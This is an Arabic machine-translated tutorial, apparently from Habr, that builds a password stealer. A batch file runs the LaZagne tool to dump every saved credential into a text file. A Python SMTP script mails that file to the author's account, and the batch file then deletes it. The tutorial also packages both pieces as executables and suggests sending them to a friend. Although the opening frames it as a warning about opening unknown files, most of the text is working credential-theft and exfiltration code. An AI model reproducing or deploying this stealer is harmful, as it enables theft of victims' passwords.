بيثون ستيلر مع البريد الإلكتروني

ماذا سنفعل؟


مرحبًا ، سيتحدث القارئ اليوم عن سبب عدم الحاجة إلى فتح ملفات لم يتم التحقق منها تم تنزيلها من مصادر غير معروفة وإنشاء مثل هذا الملف لفهم ما يمكنه القيام به على جهاز الكمبيوتر الخاص بك. سننشئ جهازًا يجمع كل كلمات المرور الخاصة بنا ويرسلها إلينا بالبريد.


ما هو المطلوب لهذا؟


سنحتاج:


  1. بيثون 3.xx
  2. أداة استعادة كلمة المرور (في حالتنا ، لازاني )
  3. اثنين من حسابات جوجل

وهكذا نبدأ


أولاً ، ضع ملف exe لأداة LaZagne في المجلد مع مشروعنا. بعد ذلك ، قم بإنشاء ملف .bat بأي اسم (سيكون لدي main.bat) وملف send.py.


يجب أن نحصل على هذا الهيكل:


المشروع:


  • laZagne.exe
  • send.py
  • main.bat

كتابة رمز


افتح الملف main.bat و ضع الكود هناك:


@Echo off laZagne.exe all > pass.txt 

الآن ، عندما تقوم بتشغيل ملف .bat لدينا ، سيكون لدينا ملف pass.txt تكون فيه جميع كلمات مرورك من المتصفحات (وليس فقط). يبقى فقط لإرسال البيانات إلى البريد. ولكن كيف نفعل ذلك؟


إرسال إلى البريد

افتح ملف send.py والصق الكود:


 import smtplib import os import mimetypes from email import encoders from email.mime.base import MIMEBase from email.mime.text import MIMEText from email.mime.image import MIMEImage from email.mime.audio import MIMEAudio from email.mime.multipart import MIMEMultipart def send_email(addr_from, password, addr_to, files): msg_subj = 'Password' msg_text = 'Password' msg = MIMEMultipart() msg['From'] = addr_from msg['To'] = addr_to msg['Subject'] = msg_subj body = msg_text msg.attach(MIMEText(body, 'plain')) process_attachement(msg, files) #==========   ========== server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(addr_from, password) server.send_message(msg) server.quit() #============================================ def process_attachement(msg, files): for f in files: if os.path.isfile(f): attach_file(msg,f) elif os.path.exists(f): dir = os.listdir(f) for file in dir: attach_file(msg,f+"/"+file) def attach_file(msg, filepath): filename = os.path.basename(filepath) ctype, encoding = mimetypes.guess_type(filepath) if ctype is None or encoding is not None: ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) if maintype == 'text': with open(filepath) as fp: file = MIMEText(fp.read(), _subtype=subtype) fp.close() elif maintype == 'image': with open(filepath, 'rb') as fp: file = MIMEImage(fp.read(), _subtype=subtype) fp.close() elif maintype == 'audio': with open(filepath, 'rb') as fp: file = MIMEAudio(fp.read(), _subtype=subtype) fp.close() else: with open(filepath, 'rb') as fp: file = MIMEBase(maintype, subtype) file.set_payload(fp.read()) fp.close() encoders.encode_base64(file) file.add_header('Content-Disposition', 'attachment', filename=filename) msg.attach(file) #====================================== _from = "from@gmail.com" _password = "password" _to = "to@gmail.com" files = ["pass.txt"] #============================================= send_email(_from, _password, _to, files) 

أنت الآن بحاجة إلى التهيئة ووفقًا للخدمة التي سترسلها إلى البريد ، قم بتغيير الرمز المحدد: Google (أولاً ، تحتاج إلى السماح بالوصول إلى التطبيقات الأقل أمانًا ):


 server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(addr_from, password) server.send_message(msg) server.quit() 

Mail.ru:


 server = smtplib.SMTP_SSL('smtp.mail.ru', 25) server.login(addr_from, password) server.send_message(msg) server.quit() 

ياندكس:


 server = smtplib.SMTP_SSL('smtp.yandex.ru', 465) server.login(addr_from, password) server.send_message(msg) server.quit() 

الانتهاء

الآن في ملفنا .bat ، أضف رمز إطلاق ملف send.py وحذف ملف pass.txt:


 send.py del /s "pass.txt" 

الجمعية


الآن ، بعد تشغيل main.bat ، سيتم إرسال كلمات المرور الخاصة بك إلى بريدك ، ولكن إذا لم يكن لديك Python مثبتًا ، فلن يعمل شيء ، ستحتاج إلى تحويل ملف send.py الخاص بنا إلى exe. للقيام بذلك ، افتح وحدة التحكم واكتب:


 pip install pyinstaller pyinstaller --onefile send.py 

ومع ذلك ، نحتاج إلى تحويل الملف main.bat إلى main.exe ، وسوف يساعدنا محول Bat To Exe في هذا. انقر فوق الزر بثلاث نقاط ("...") وابحث عن ملف main.bat ، وانقر فوق "فتح" ، ثم انقر فوق "تحويل" واحصل على الملف main.exe. هذه الملفات الثلاثة هي الطراز الخاص بنا ، يمكننا ذلك إرسال إلى صديق والتمتع بها تحقق من الأداء.


المراجع


Source: https://habr.com/ru/post/ar434356/


All Articles